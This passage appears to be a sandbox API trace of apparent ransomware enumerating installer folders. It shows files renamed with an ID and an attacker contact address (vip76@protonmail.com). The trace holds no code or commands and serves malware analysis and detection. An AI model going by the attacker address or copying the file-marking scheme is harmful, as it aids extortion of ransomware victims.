	[0165.321] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.321] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80b4341d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b4341d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0165.321] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.321] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80b4341d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b4341d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6ac158
	[0165.324] FindNextFileW (in: hFindFile=0x6ac158, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80b4341d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b4341d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.324] FindNextFileW (in: hFindFile=0x6ac158, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80b1d13d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80b1d13d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b1d13d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.324] FindNextFileW (in: hFindFile=0x6ac158, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80b1d13d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80b1d13d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b4341d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.324] FindNextFileW (in: hFindFile=0x6ac158, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e64645, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80e64645, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80e64645, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.324] FindNextFileW (in: hFindFile=0x6ac158, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e64645, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80e64645, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80e64645, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.324] FindClose (in: hFindFile=0x6ac158 | out: hFindFile=0x6ac158) returned 1
	[0165.325] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.325] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0165.325] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.325] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abed8
	[0165.327] FindNextFileW (in: hFindFile=0x6abed8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.327] FindNextFileW (in: hFindFile=0x6abed8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80bdbbbc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80bdbbbc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80c01fdb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.327] FindNextFileW (in: hFindFile=0x6abed8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80c281a8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80c281a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80c281a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.327] FindNextFileW (in: hFindFile=0x6abed8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e64645, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80e64645, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80e8a705, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.327] FindNextFileW (in: hFindFile=0x6abed8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e64645, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80e64645, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80e8a705, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.327] FindClose (in: hFindFile=0x6abed8 | out: hFindFile=0x6abed8) returned 1
	[0165.328] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.328] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80eb09c6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80eb09c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0165.328] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.328] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80eb09c6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80eb09c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abf18
	[0165.438] FindNextFileW (in: hFindFile=0x6abf18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80eb09c6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80eb09c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.438] FindNextFileW (in: hFindFile=0x6abf18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80c4e50e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80c4e50e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80c4e50e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.438] FindNextFileW (in: hFindFile=0x6abf18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80c4e50e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80c4e50e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80eb09c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.438] FindNextFileW (in: hFindFile=0x6abf18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8102e3a6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8102e3a6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8102e3a6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.438] FindNextFileW (in: hFindFile=0x6abf18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8102e3a6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8102e3a6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8102e3a6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.439] FindClose (in: hFindFile=0x6abf18 | out: hFindFile=0x6abf18) returned 1
	[0165.439] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.439] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80d33efc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0165.439] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.439] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80d33efc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abfd8
	[0165.592] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80d33efc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.592] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80cc0c74, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80cc0c74, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80cc0c74, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.592] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80cc0c74, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80cc0c74, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.592] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8102e3a6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8102e3a6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81054424, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.592] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8102e3a6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8102e3a6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81054424, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.592] FindClose (in: hFindFile=0x6abfd8 | out: hFindFile=0x6abfd8) returned 1
	[0165.592] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.592] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80fbc741, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80fbc741, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0165.592] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.593] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80fbc741, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80fbc741, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0165.595] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80fbc741, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80fbc741, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.595] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80d33efc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80d33efc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d593af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.595] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80d593af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80d593af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80fbc741, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.595] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81054424, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81054424, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8107a64c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.596] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81054424, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81054424, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8107a64c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.596] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0165.597] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.597] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0165.597] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.597] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abf58
	[0165.599] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.599] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x810c6d11, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x810c6d11, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x810c6d11, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.599] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x810f03d2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x810f03d2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x810f03d2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.600] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81184176, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81184176, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x811d39b1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.600] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81184176, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81184176, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x811d39b1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
